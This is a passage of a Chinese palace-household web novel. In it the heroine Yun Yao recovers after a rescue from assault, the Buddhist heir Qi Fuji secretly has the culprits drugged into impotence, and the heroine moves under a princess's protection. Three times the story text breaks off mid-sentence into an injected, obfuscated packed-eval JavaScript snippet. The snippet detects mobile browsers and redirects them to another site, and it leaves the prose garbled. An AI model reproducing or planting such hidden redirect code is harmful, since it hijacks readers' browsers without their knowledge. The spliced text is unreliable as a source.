齐拂己交待完离去,迈出两步,复又顿足,回身朝大安多交代一句:“若那女子想不开要寻短见,就劝她‘处逸乐而欲不放,居贫苦而志不倦’,好死不如赖活。” “是,奴记住了。” * 恢复视力和脑胀是同时到来的,云窈一瞧清眼前,就觉右半边脑袋连带眼睛牙齿都痛得发麻。 她望了眼头顶的藕色帐纱,一面坐起一面捂脑,这是哪里? 小臂一重,云窈低头,才迟钝地发现有人守在床边,正扒拉她的手。云窈顺着看过去,一头发花白的老妪一手递来碗热茶,一手比划,似乎是劝云窈喝水。 见老妪年纪虽大,眸子却不浑浊,和善的面相还有三分像她从前的乳母。加之未完全清醒,云窈接过碗,恍恍惚惚就喝了一口。 顿时意识清明了数分,干痛的嗓子也不那么疼了。 她本能地端起,咕噜噜咽下去半碗,脑子没那么疼了,想起来之前发生了什么,手一缩,剩下半碗茶洒泼,湿了老妪半身。 云窈脱口而出:“对不起、对不起。” 习惯性找帕子要给老妪擦。 老妪却无恼意,仍微笑比划。云窈瞥老妪,又低头见自己穿戴整齐,不由迟疑。 老妪手势打得更急。 “您能听见我说话吗?”云窈问。 老妪依旧打着同样的手势,看来既聋且哑,听不见,说不了。 云窈蹙眉,她只记得很热,一直在寻找清凉物。 老妪突然扣住云窈手腕,拉着她往门外走,云窈边挪步边问:“您要带我去作甚?” 老妪打开门,食指不住朝外戳,门口守着的男子转回身,云窈瞧见一张完全陌生的脸,愣了下,那男子亦是一愣。 下一霎,男子拱手作揖:“姑娘醒了?在下是世子的长随大安。” 云窈愣了下,才反应过来世子就是府里的大公子齐拂己,连忙见礼,但不打断,听大安把话说完。 “这位也是世子爷院里的余婆。我俩一道路过,听见别有洞天里呼唤,急忙赶来。许是我们动静大,吓退了里头的三公子,然后余婆就独自进去照顾姑娘,我在外面守着。” “多谢二位的大恩大德。”云窈深深伏拜,但仍担心,来回瞥余婆和大安,“你们救了我,要紧吗?” 她担心齐宽会报复这俩下人。 大安微笑:“姑娘只管放心,我已将三公子的恶行告知世子。世子在上,三公子不敢做什么的。”他顿了顿,“我们世子修佛之人,虽然和善能容,但也是霹雳手段,菩萨心肠,定能为姑娘讨回公道。” 云窈下意识收臂咬唇,其实自己很怕齐宽报复,有点做缩头乌龟,息事宁人,但转念一想,要是算了的话,齐宽红枣等人还会作恶,亦会牵连救她的余婆和大安。 云窈突然无比期望那位从未谋面的大公子能大义灭亲,惩恶扬善! 大安却以为云窈迟迟不语是想不开,赶紧拿世子交待的话劝:“我们当时赶来时,三公子还未下手,姑娘清白无损。” 云窈抬头,方知大安想岔了。 她亲自送走父母,知道这世上最可恨的事叫逝者已逝:“您放心吧,我不会自寻短见,我这个人处逸乐而欲不放,居贫苦而志不倦,晓得好死不如赖活。” 大安分唇愕然,这姑娘说的话,怎么和他们世子讲的一模一样?! * 齐拂己离开别有洞天后,先回自己院中。他步伐略快,不一会就到了。国公府里世子院仅次主院,第二宽敞的,却无甚装饰,葡萄架、金鱼池、拱桥凉亭这些一概没有,只数株翠柏青松,婆娑成影。 众小厮正坐在院门前谈话,瞧见世子,都站起来行礼。齐拂己边跨门槛边下令:“喊小吉来。” 小吉是世子院的管家,平时料理内务颇为得力。 齐拂己入书房不久,小吉推门作揖:“世子您唤小的?” 齐拂己将才书架上取下的佛经暂放:“去打听一下,二叔那边有没有新来的客人?” 瞧那女子散落床上的衣裳和簪钗,不像婢女。 这么一回想,就像夏风透过纱窗吹进来,撩得人身子发热。 齐拂己翻看佛经,这一册是《观佛三昧海经》,说人身九相,所爱之身免不了青膖淤黑,再到脓血恶臭,不可瞻视。 为狼所噉,为蝇所蛆,最后成为一具白骨。 火烧之后,风吹入地,还归于土。 齐拂己指摁书页,强将脑中浮现的绝色红颜变成白骨,可似一道电光闪过,她又变回美娇娘,血肉饱满,扭动柳腰,粉颈凑近,在他耳边轻喘。 言犹在耳,“难受,救救我……” 齐拂己气息变粗重,闭上眼,强行去皮除肉,再变骷髅。 知幻离幻,如此往复,直到小吉出声:“世子,奴打听回来了。” “说。”齐拂己才发现自己嗓音不知何时,也变得粗重喑哑。 小吉兴许也察觉道,愣怔须臾,才垂首续禀:“二爷那边最近来了位女客;说是单姨娘的侄女,父母双亡,只剩一个姨妈,不得不投亲到国公府。”小吉稍顿,“来了快一个月了。” 齐拂己眸色晦暗:“叫什么?” “啊?哦!姓云,闺名是什么小的也不知道。” 半晌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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齐拂己眨眼:她醒了?怎么样了? 大安和速喜一同迎上,齐拂己先问大安:“她怎么样了?” “回世子,妥了。”大安躬身,将自己如何同云窈讲,她又如何信的,一字不漏禀来。说着说着大安笑起来,“奴本来想劝她别想不开,您猜云姑娘怎么说?她说她这个人处逸乐而欲不放,居贫苦而志不倦,好死不如赖活!” 齐拂己羽睫微颤,自然听出这话耳熟。 大安笑着拔高嗓门:“和世子您不谋而合,一字不差!” 齐拂己板着脸转头,询问速喜:“大理寺那边怎么样了?” 大安愕然,世子怎么不接话? 他也渐渐收起笑容。 速喜已埋头禀奏:“李大人说这药熬一段时间能自行退热,无需解药。” 齐拂己闻言莫名松了口气。 “然后大理寺按律罚了三公子一百三十杖,臣离开时已经开打了。” 齐拂己沉默,本朝律历,奸未遂者,杖一百三,但这廷杖应该三司会审后再打,还要流放三千里。如今刑部、都察院都尚未参与,大理寺就急急打了板子,想必有人在保齐宽,李凝也奈何不得。 “季平还说了什么?”他追问。 到真有句无关紧要的家常话,速喜禀来:“李大人说今年的甜瓜还未熟,蒂和藤缠得紧,暂时还不能邀世子去家中品瓜消夏。” 话音将落,齐拂己抬腿往自己院中走,大安速喜赶紧跟随。 齐拂己越走越快,面上仿佛移来一朵乌云,遮蔽和煦光阳,面色越来越阴沉——藤结瓜,瓜与藤缠得紧,此事还有齐岚参与。父子俩狼狈为奸,祸害女子,如此娴熟,恐怕俱不是初犯! 回到书房,他私下叮嘱办事更牢靠的速喜:“去弄十来粒太监丸,碾碎了悄悄掺在二叔父子的饭菜里。” 太监丸其效如名,寻常一粒就能药物去势,服食后再难逞雄风,跟净了身一般彻底。 “遵命!” 7. 第七章 * 云窈回院不久,就来了两位四十出头的仆妇,自称是汉阳公主跟前人,来请姑娘。 “请我?”云窈讶异。 “正是云姑娘您呐。”仆妇笑道,“姑娘福泽深厚,上回去殿下那里吃茶,娇憨逗乐,令殿下连着几日心情大好,从此便记挂上了,想接姑娘去陪伴左右。” 云窈心一紧,让自己侍奉公主? 她上回随单氏拜见公主,对眼前二位仆妇的脸有印象,但是经历齐宽一事,一招被蛇咬,十年怕井绳,不敢再随便跟人走了。 而且她像刺猬、像蜗牛所在壳里,不晓得也不敢去打听齐宽、单氏那边怎么样了。 云窈咬唇犹豫。 半晌,嘴巴都快咬破了,才用细若蚊蝇的声音回:“民女承蒙殿下厚爱,只是……民女毛手毛脚还愚钝,只怕侍奉不来贵人,要敬谢不敏,辜负殿下……” 二仆妇心里唰地都蹿起一团火,这商户女怎么不识抬举? 仆妇们突然发现云窈双唇发白,手还抖。 两仆妇就对望了一眼,她们从人下人走来,从前比云窈还难些,旋即联系前因后果,明白云窈的难处。一仆妇走近胳膊虚揽云窈缩着的背,轻声询问:“姑娘是在害怕么?” 云窈眺一眼窗外,有软轿等着,抬娇的四名婢女各立一角,垂首不言,好似雕塑。她颤抖着想,真的是公主来接么? “我……” 将说一言,就被仆妇打断:“姑娘放心,谁敢冒用殿下的名头?那是活腻了!”仆妇又说长房那边多的是人伺候,让云窈只带落玉过去。 云窈这才忐忑应允,领到落玉,再次到上房拜见公主。 行完礼后公主允了平身:“起来吧。” 公主语气神色皆柔和,却透着一股威仪。 “多谢公主。”云窈说完才发现错了,站着的人重往下跪,“多谢殿下!” 公主轻笑。 云窈再起身就睹见了这笑,不由得一怔。 金枝玉叶笑若春风,大家也都说公主喜欢她,可云窈却莫名觉着公主没那么喜欢她。 兴许接她来是为了救她脱离二房。 云窈心一沉,一定是大安和大公子说了什么,大公子又拜托公主。 云窈不由对那位从未谋面的大公子生出感激,就这一点上,他心怀正义且善良、热心。听大安说他修佛,她祈愿大公子能早日参禅证悟,得见真道。 云窈边想边顺从汉阳公主命令坐到下首,闲话家常,没几句话功夫,门帘挑开,着织金锦袍,戴玉冠的齐拂意进门,边走边笑:“母亲。” 汉阳公主面上旋即浮现另一种笑意:“回来了?累不累,怎么不歇会?”又追问,“今日学得怎样?” 云窈瞧着心道:这才是喜爱。 齐拂意先作揖问安,而后才答话:“劳烦母亲费心,太学里一切都好,也不累,所以也不用歇,将一下学就能来见母亲。” 他转了身要坐,才发现下首有人,眯眼瞧清是云窈,一喜:“云姑娘怎么来了?” 公主笑道:“从今往后她就住这了。” 打宫里就跟随公主的邹嬷嬷帮腔,说云窈如何讨喜,得了公主欢心,接来上房。 公主微微颔首,仿佛真是如此,齐拂意信以为真。 公主闻声同云窈交代:“我让她们把木樨小筑收拾出来了,以后你就住那里。” 云窈急忙离座屈膝:“谢谢殿下。” “都是一家人,”齐拂意插话,他声音很温柔,像三月的日光,和煦温暖却不刺目,“妹妹不必回回都这么客气。” 公主晲看儿子一眼,沉默须臾,才附和:“是,拂意说得对。” 齐拂意笑逐颜开,想也陪着说话,公主却道读书辛苦,催他回去歇息。齐拂意不忤逆母命,就此拜别。 云窈继续陪着说了快一刻钟,公主夏困,云窈便由仆妇领去木樨小筑。将拐一弯,就听身后有三分熟的男声低唤:“表妹,留步!” 云窈以为喊的别人,仍埋头前行,直到那人再唤:“云表妹,等一等!” 云窈驻足回头,见是齐拂意,吓个半死——自己是哪门子表妹?! 仆妇们都在这呢,她赶紧解释,绝无攀亲之意。 齐拂意见她手足无措,小脸煞白,感觉马上就要哭出来,连忙改口:“好、好,不是表妹,我以后喊你云妹妹,总行了吧?” 他等了良久,云窈才飞快地点了点下巴。 齐拂意笑:“我住的仙馆离木樨小筑不远,正好顺路。” 云窈仰头张目,眼睛里像有一双刚喝完水的小鹿:可刚才二公子不是早回去了吗? 她疑惑但不敢问,怕得罪贵人。 齐拂意似也看出云窈疑惑,别脸咳了两声,支吾道:“我方才……去琴堤那边有事,才回来。所以反倒落在你后面。” 国公府偌大,云窈早不记得琴堤怎么走了,低轻应了一声,算是相信齐拂意。 一路上,她大多数时候都低头盯着脚下的拼花石子,寡言少语,即将踏进木樨小筑就立刻同齐拂意道别。 齐拂意也不恼,和颜悦色配合云窈,她进去许久,他还站在原地眺望。齐拂意的书童忍不住嘟囔:“公子腿脚不便,还要绕路。” 云姑娘美是美,但人太畏畏缩缩。 齐拂意却颇为满意,笑着抬手,用折扇尖轻敲了下书童额面,木樨小筑外未开的桂树绿油油成荫。 * 齐宽那日是被抬回国公府的,乘坐的马车车厢里全是血水,血淋淋滴一路,看得单氏触目惊心,哭嚎不止。 他躺着下不来床,吃喝拉撒皆要人服侍,这一日再次喊疼,不愿用膳。婢女没辙,最后搬来单氏。 短短几日,单氏就愁生了一簇白发:“你什么都不吃,还怎么康复啊?” “不吃!” 单氏只好从婢女手上接过碗,坐到床边,吹一吹乳白的鱼汤,不烫了,亲喂儿子。齐宽这才张嘴,但一会就喊:“娘——吃不下了。” 单氏扫一圈桌上:“旁的不吃,柴鱼汤最能养伤口,泥鳅长新肉,这两样得吃完了!” 在儿子面前她有无限耐心,一勺勺喂柴鱼汤和莴笋烧泥鳅,看着齐宽吃下去,就觉希望重燃:“你要多吃点,才能早些好起来。” “爹呢?”齐宽边吃边问。 单氏垂眼:“你爹这几日都在家里没出门。”她四下张望,都是齐宽房里人,才道,“像是被拘住了,我问他他不说。” 齐宽不再言语,凭什么他们父子遭难,云窈那小贱人却能被公主接走,护得好好的? 老天不公! 齐宽把泥鳅肉当云窈,重重咬了口解恨,却被没剃干净的小刺扎到,龇牙咧嘴乱叫。 “怎么了?”单氏慌了神,待弄清原委,当即将服侍的婢女并后厨责骂一通。 她旁的不管,确保齐宽吃光泥鳅,喝完一满罐柴鱼汤才离去。 齐宽躺床上养神,一饱暖就思那什么欲,加上整整七日素了七日,心念一动,就去拉旁边伺候婢女的手。 婢女慌张:“三公子——” “臊什么?又不是没好过?”齐宽噙笑,正想命人坐上,忽觉不对劲,心猛地一沉,却似悬崖百丈,始终坠不到底。 他明明兴致勃勃,那处却软塌榻。 少顷,屡试屡败,齐宽扯着嗓子喊:“娘、娘!” 单氏刚回去洗头,湿发上的皂角都来不及清理,就慌慌张张再次走进屋内:“怎么了?” 齐宽哭丧:“娘,我好像——不行了!” “瞎说!”单氏当即否认,齐宽可是她的命根子。 自打齐岚软禁,二房就被没收了许多权限,主仆一概不让出府。只能请了位府医来瞧,白胡子大夫望闻问切后长长叹了口气。 叹得单氏心惊肉跳,齐宽心灰意冷。 “大夫,怎么样?”单氏抖着声音问。 府医捋须:“三公子被打伤了根本,怕是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499682|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …再不能人道。” 齐宽瞬间身子跟那处一样瘫软,成一团卧床烂肉。单氏更是两眼一黑,昏倒在地。 房里喊姨娘的,唤三公子的,乱做一团。 被软禁的齐岚很快得知唯一的儿子没法传宗接代了。 但他心里却没有太大波澜。 这个庶子,嘴上无毛,办事不牢,害他拘禁家中,犹如坐监,他本来就起了放弃心,再则老蚌能生珠,叔梁纥七十岁照旧能生孔夫子。齐岚指腹悠悠叩桌,让长随喊来后院最年轻的姨娘。 佳人将将二十,花枝招展入内,不一会就听里头叮里哐啷打砸声,以及齐岚的怒吼:“滚啊,都给我滚!” 姨娘捂着衣裳,跌跌撞撞跑出来。 * 这一日,齐拂己正在佛堂诵经,忽有魏国公长随闯入,打破宁静:“世子,国公爷找您。” 齐拂己停拨手中念珠,在袅袅檀香中睁开眼:“何事?” “世子恕罪,小人就是个传话的,国公爷没跟小人说是什么事。” “知道了。”齐拂己起身,轻轻吐纳,“我待会去,还请父亲大人稍候。” 长随点头哈腰,一路小跑回去禀报。齐拂己则换下礼佛的海青,改穿常服,才去书房面见魏国公。 国公正呷茶,听人报儿子来了,一声不吭,直到齐拂己自那阴影里走近,国公才撩眼皮:“终于肯从你那佛堂里出来了?” 齐拂己不答,屈膝、行礼、问安,一丝不苟。 左右无人,唯有遮阳竹帘微晃,往齐拂己背上投下道道阴影。 国公爷轻嗤一声,压着嗓子问:“老二那事是你做的?” 齐拂己不疾不徐反问:“父亲说什么?孩儿不懂,不知。” 魏国公索性把话说开:“下了几粒丸药啊?” 自己这个长子差点做到天衣无缝,可惜,还是嫩了两分——不过没关系,他已经帮儿子善后了。 齐拂己唇抿一线,沉默如老僧入定。 魏国公放下茶盏,眺向前方,长子从小就心思深还不吭声,家里同龄孩子打闹,他抱一本《金刚经》避回书房,哪里是要参禅,厌恶齐宽而已。 魏国公指背在桌上轻敲了下:“听说你想把世子之位让给你弟弟?” 齐拂己张唇,还未发声,魏国公就抬臂掌心面对齐拂己,阻止长子即将出口的长篇大论。 “单论这几粒药,你就比拂意更适合袭爵。”魏国公凝视长子的眸光中隐约闪现丝丝期许和欣慰,这才是他的好大儿。 齐拂己沉默良久,忽然盯着魏国公开口:“国有国法,家有家规,父亲缘何不奉公守法,惩处二叔他们?” 其实他还说轻了,国公不仅不守法,还铤而走险,忤逆包庇。 魏国公道:“你也说了家有家规,家丑不可外扬,我已经软禁了你二叔。” 还要怎样? “父亲金印紫绶,位列三公,更应以至公无私心行正大光明事。倘若日后被人揪出包庇族弟,亵渎律法,如何应对?岂不令生平瑕玷?” 国公垂手扫了下紫袍上的浮灰:“那你以为该如何?” “扼腕割席,以义割恩,不殉私情。” “错!”国公爷反驳得掷地有声,“同族同姓,荣损一体,休戚与共,为父救不救你二叔都会授人以柄。” 齐拂己气得想拂袖:古板、荒谬!父亲这是白沙在涅,与之俱黑! 国公重捧茶盏,不紧不慢呷了一口,放下才道:“你二叔现如今拘在家里,人跑不脱,要走三司会审,秉公执法,也就是一嘴的事。” 齐拂己眉尾跳了跳。 国公爷旋起唇角:“你答应为父安安心心当世子,袭爵兴家,再不萌生出家的念头。为父二话不说,将你二叔一家扭送三司。” 魏国公悠悠笑道:“且你这样的手段就该入仕。” 太监丸说下就下,一下十来粒,本性就不是佛子,合该在朝堂上翻云覆雨,甚至据九鼎以谋天下! 8. 第八章 良久,齐拂己嚅唇,似要应允。 魏国公抬掌对着齐拂己:“唉,对了,修佛之人可不兴打诳语。” 他料定此话一出,长子绝不敢虚与委蛇,昧地谩天。 果然,齐拂己重合上唇。最终没有应允,沉默着离开偏厅。 途中路过木樨小筑,他早知道云窈住在这里,心念微动,朝小筑的院门眺去。炎夏无风,桂树一动不动,仿佛一部凝固的古画,断不会有人走出来,不会让他瞧见窈窕身段,一笑一颦。 齐拂己扭头,压低嗓子吩咐:“去打听下,她过得怎样?” 他叮嘱:“谨慎些,莫要让别人晓得是我问的。” 大安转着眼珠应喏,转身一背对齐拂己,就即刻笑得绽花——嘿嘿,世子对云姑娘好上心,不一般! 许是头回遇到这样的世子,大安对打听之事格外热情,不一会就回报说那云姑娘能吃能睡,精气神不差,大抵安好,唯独就是不爱出门——不对,应该说从不出门!自搬来木樨小筑,云窈除却早晚问公主安,其余时辰皆大门不出,二门不迈。 齐拂己心忽然跟那日想到她的难处时一样,拉扯两下,却比那日更疼。 他伫立原地,沉吟半晌,想好了方才迈步。 不是回世子院的路,大安不禁多嘴:“世子我们不回去吗?” 齐拂己风淡云轻:“四处转转。” 二房主母冯氏早与齐岚离心,夫妻间生疏陌路,但她却与汉阳公主亲近,逢初一十五都上公主这里,点卯一般。 冯氏每回还会带上二房的两位小姐——齐姝静是她亲生,姝妍妾出,但生母难产去世,一直都是冯氏亲养亲带,视如己出。 齐拂己慢慢走到院中,中央就是花厅,他余光朝内偷瞟了眼——果然,冯氏和公主说体己话时,又让两个女儿避来花厅玩。 齐姝妍眼尖,隔着纱窗辨出路人,挥臂高呼:“大哥哥!大哥哥!” 齐拂己继续朝前走了一步才顿足,循声回望,脸上慢慢浮现惊诧之色:“你们怎么在这?” “今日娘来探望殿下,捎带上我俩。”齐姝妍边说边快步朝门外走,齐姝静慢些,但也近前。 齐拂己上下打量两位堂妹:“就你们两个吗?” 齐姝妍蹙眉,大哥这话问得奇怪,家里颠来倒去不就俩姐妹? 齐拂己面色平淡,恍若古井:“我听说家里新来了一位表妹,怎么没和你们一起玩?” “哎呀我这记性!”齐姝妍一拍脑袋,回头同齐姝静道,“下回叫上云窈!” 齐姝静点头。 “云窈?”齐拂己一脸莫名懵懂地问。 “就是你说的表妹呀!”齐姝妍旋即接话,大哥哥看来只顺耳听了一句,并不了解详细。她便将云窈芳名、来历乃至喜好……知无不言尽告诉齐拂己。 齐拂己抿唇不语,心中默道:活泼热情的阿妍带领,相信她能受感染,渐解心结,疗愈伤痛,变得开朗、欢喜。 他又告诉自己,所做这一切仅因为佛门慈悲,普渡众生。 齐拂己不知不觉双手合十。 今日目的已达到,再无滞留意义,朝二姊妹微微躬身,算作接话,而后就出声告辞。 齐姝妍和姝静都没有挽留,目送离去。齐姝妍瞅着齐拂己背影,想起他刚才对云窈的态度,可真够含糊敷衍的,不由同姝静嘀咕:“大哥哥心里唯有佛法,旁的人事真是半点不上心!” “嘘!”齐姝静让她别乱嚼舌根。 齐拂己耳聪听清,却面不改色,缓步前行。 大安一看世子这走的,仍然不是回院的道,反而越来越远,忍不住再次追问:“世子咱们这是再去哪里?” 齐拂己想总不能立马折返,也太昭然若揭:“继续往前走走吧。” 这一走就穿假山上了琴堤,再过泉亭,到前面好大一片水域。这里建府之初唤作清风池,就是个水洼,后来越阔越大,移土灌水,成了波涛浩渺的私湖。眼下夏日正照,浮光跃金。 齐拂己慢慢往前踱,到了明月庵,原本也是佛堂,却在他祖父那代弃置。 他站在门前促眸,记得小时候这里有一副“清风明月,不二法门”的门联,今已不见,只有门边杂草两簇z 齐拂己轻轻推门,进入庵中,虽阶生青苔但并无蛛网,只一些浮灰和落叶。禅房内干净静谧,他在蒲团上坐下,瞬觉身心宁静,淡淡开口:“此处幽静,适合修行。” * 云窈寄居的小园既唤木樨小筑,自然遍植桂树,但这会花没开,与寻常树木无异。 她希望自己能和这没开的桂树一样,在每回去拜见汉阳公主时都泯然众人。 虽然没有人谁敢顶着忤逆公主的名头作恶,早晨问安这一段路走得最安全,敢独行,但问安见礼的过程实在是太提心吊胆了! 与从前家中问父母安截然不同,须时刻谨慎小心,哪怕说错一个字,办错一件事,都会惹出大祸。 她每回出上房时,都忍不住暗中长松一口气,然后到了晚上又重提起,揪心。 日复一日。 甚至因此生了白发。 落玉帮她挑出白发,紧张道:“小姐你别动啊。” “好——”云窈只张嘴,身子一动不动,眼睛望着镜子里的落玉一手捏白发,一手拿起剪刀——据说长了白发不能拔,不能揪,不然会越长越多,只有一刀剪掉才能断绝。 落玉落剪:“好了。” 她去扔白发。 云窈对镜细瞧,还好,垂挂髻没乱。她稍微梳了下覆额那一排就起身。 怕节外生枝,云窈闭门不出,今日计划是和落玉一道养护老家带来的乐器。云窈清理洞箫音孔,落玉一边给琴松弦一边感叹:“小姐,你好久没弹琴了。” 上回弹还是在水月寺,可尽兴了。 云窈也忆起水月寺合奏,一阵恍惚。 少顷,又想,以前爹爹说每样乐器都如爱人,如果长期得不到亲近,就会枯萎。 云窈笑道:“放桌上吧,我先吹箫,待会弹琴。” 她清理好后唇抵箫口,指按孔上,徐徐吹起,虽然指法熟练,但中气不足,成的曲调比琴曲差上许多。 外头却有人突然鼓掌,啪啪十分热烈,惹得云窈羞愧脸红,移箫止音。 “妹妹好雅兴!”齐姝妍隔窗先打个照面,再走进来。脚抬起跨越门槛,嘴上问:“吹的是什么曲子?” 她身后齐姝静知道,分唇要答,但见云窈也张了嘴,就立马重闭,不抢主人家的话。 哪晓得云窈也是个一惯谦让的,亦闭嘴噤声。 一时无人回应齐姝妍。 最后是婢女落玉告知:“我们小姐吹的是《醉太平》,描绘的是我们杭州西湖十景之一的平湖秋月。” 齐姝妍道:“还没去过杭州,往后有机会定要逛一趟西湖。” 云窈颇爱家乡,禁不住多说几句,将杭州的好逐一列举。 齐姝妍频频点头:“人说上有天堂,下有苏杭,杭州自然是好。”她转头望向窗外,话头亦变换,“昨日这场细雨后,天气凉爽些了。” 齐姝静启唇:“一场雨一场寒,渐渐就入秋了。” 云窈垂首,在她们老家还有复热的秋老虎,不知京中如何。 正想着齐姝妍牵起她的手:“难得天气好,我们出去玩吧!” “出去玩?”云窈脱口而出。 齐姝妍愣了下,不知云窈脸上怎么会因寻常一句,显露这么多慌张和惊恐。 云窈却一瞬想了许多——前些天,她终于听闻了齐岚父子在家卧床养病,单氏照料,也不出门的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499683|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。她能猜到他们是被拘了。 她当天晚上躺床上痛哭一场。 他们是犯法不是犯错啊!怎么罚得这么轻? 她听说平头老百姓想伸冤,只能去敲闻登鼓,先挨三十杖,没等到开口命都没了,于是哭得更凶,浑身无力。 眼下齐氏姐妹邀请,云窈第一反应是害怕路上遇到二房报复,继而又担心齐氏姐妹也是陷阱、算计。 于是紧着嗓子追问:“去哪玩?” “就在府里。”齐姝静前迈半步,冲云窈温柔一笑示好。 云窈依旧不安,府里也分公主这边,和二房那里。她详细打听,得知是在府里游山玩水,届时端水的、捧小食的、备擦汗巾帕的,会有许多婢女跟在后面,这才稍稍镇定。 但也没有完全安心和信任齐氏姐妹。 云窈擦干净箫口收好琴,喊上落玉,才和众人一道离开木樨小筑。 齐姝妍提议在假山附近捉迷藏,云窈樱唇咬了再咬,快咬破了,才攥拳鼓起勇气道:“我……我想和大家一起玩,不想一个人单独藏或找。” “云窈你是不是怕黑?”齐姝妍马上追问,又说要是怕黑,不躲在山洞里就行。 云窈支支吾吾:“不仅仅是怕黑……” 她说不出口,快急哭了! 齐姝妍睹着,心想云姑娘还真认生,大哥哥无心插柳那句竟是对的,得多和她亲近,等把这里当自己家时,就完全去除怯意。 “好,那我们不捉迷藏,不如……下棋吧?”齐姝妍亲热挽起云窈胳膊,带她上琴堤,入泉亭,还喊上所有人都到亭子里,一时仨姐妹被围个水泄不通,亭内快站不下。 齐姝妍人热情,棋艺却平平,姝静和云窈水平明显高些,能有来有往,你负我胜,你胜我负,数局厮杀。 时间长了,观棋的齐姝妍就有些无聊,她又不能语,于是懒懒凭栏,视线越过泉亭去瞟幽泉,再扭头往清风池上扫去,远远眺见湖对岸一片红娇绿嫩正向湖心蔓延,不由举臂高呼:“我们去采莲蓬吧!” 齐姝妍说干就干,命人从舡坞里牵出两只小船,自己先跃上,继而牵姝静和云窈上同一只。 三女坐稳,小船轻荡,齐姝妍笑着告诉云窈:“小时候我和姐姐经常这样游湖,那会还有小太尉、大哥哥和李凝哥,五人同舟。” 齐姝静垂耷眼皮轻道:“那是多久以前的事了。” 她抬起头,小船驶向湖心有了风,碎发粘在额上,还有一缕在颊面,挠得痒。齐姝静抬手,轻轻自勾耳后。 二船划到野荷盛开处就收浆停了,扑鼻尽是莲香,仨女和婢女们欢欢喜喜开始采莲。 齐拂己正在明月庵内参禅,听见动静,继续阖眼拨动念珠,恍然未闻。 窗外欢声笑语,嬉笑打闹,齐拂己岿然入定,连睫毛都不曾眨。 “窈娘,你快过来这边坐!” 听见齐姝妍言语,他缓缓睁开眼。 “腿盘起来,对、对,就这样,好了!”齐姝妍又道。 “这是做什么?”云窈反问。 听见她的声音,齐拂己停拨念珠,挽在手上,另一只手将窗推开一线,窥见齐姝妍正将云窈摁坐船头:“唉别动、别动——” 野荷花自发长成了上下两层,上面的株株人高,下面的离水约莫一、两尺,遮蔽湖面亦挡住甲板。丛丛叶间探出一茎粉白到几近透明的荷花,刚好卡在她们停船的船头。 荷花瓣瓣展开,云窈盘膝坐定,恰巧她今日又穿的素白纱罗衣,错落间如观世音坐莲台。 “窈娘你可真漂亮。”齐姝妍感叹,她一旦起兴都要玩到底,拉来嫡姐分扮善财和龙女,站立观音两厢。 齐拂己隐在窗后,透过一线缝隙默默窥视,由始至终,目不转睛。 他抿着唇,眸色越来越深。 9. 第九章 * 辅国大将军府,临湖水榭。 将军孙女正做东举办夏宴,屋内四面围挂水晶帘,每桌的玉盘内皆摆有不断冒着寒气的冰块。 众贵女们正玩射覆。 一绾髻美妇双手反背,巧笑:“猜猜我手中何物?” 众女掷骰三回,得了三个点数,摁指排卦:速喜赤口速喜。 赤口为嘴,速喜为妆又为红色。 “是口脂!”某贵女高呼,“李夫人手中是口脂!” 被唤作李夫人的美妇笑眯眯臂绕前来,摊开掌心,正是一盒螺钿口脂。 她握着口脂退下,轮到别的贵女来玩下一局。 “我身后是什么?” “大安空亡小吉,大安为手,空亡中空,小吉为水,是水杯!” …… 李夫人走到齐氏姐妹面前,同她们笑了笑,才在齐姝静旁边桌后落座。 李夫人呷一口桌上饮子,主动同姝静攀谈:“这乌梅汤还挺好喝的,不酸。” 齐姝静眼睛正盯着挨个上酥山的婢女——她想吃酥山,没打算喝乌梅汤。但京师人做乌梅汤一律加米酒,甜到齁,哪有酸的,李夫人明显是有意在搭讪。齐姝静只好浅抿一口,回笑:“是很甜。” 侍女已经挪到近前,从左至右给齐姝妍、齐姝静和李夫人上酥山。 这东西容易化,齐姝静赶紧舀一大口入腹,同时还礼李夫人:“于姐姐尝尝这酥山,也好吃,甜而不腻。” 李夫人颔首一笑,先谢,先用绢帕擦去唇上口脂,才舀酥山。 齐氏姐妹皆留意到,却只有齐姝妍言语:“于姐姐,你刚射覆的口脂就是唇上涂?” 李夫人笑着应是。 “颜色显白,好看。”齐姝妍夸赞。 李夫人启唇要接话,齐姝妍快人快语,先她一步调笑:“该不会是李凝哥给你买的吧?” 这位李夫人正是大理寺少卿李凝的结发妻子。 齐家三兄妹和步仙镝、李凝从小相伴长大,亲密无间。某日,李凝连相看都没有,突然就说亲订亲,对方是太学博士的女儿于氏,之前压根没听过两家来往,再则,比起李凝的建平侯府,于家门第实在一般。 可就这么成了亲,一个娶了,一个嫁了。 婚后,李凝将于氏引荐给齐氏姐妹,也一处玩,还算融洽。齐姝静及笄翌日,李凝和于氏曾包下金樽楼给她庆贺。 只是这两年联系少了。 齐姝妍话一出口,齐姝静正舀酥山的手顿了一刹,而后重舀,李夫人则满脸羞赧:“不是相公送的,是香容记新出的丹色,我订了好几盒。” 李夫人不知从哪变出两盒,置于二女桌上,说要送给她们。 齐氏姐妹连忙推却:“不用不用,于姐姐太客气了!” 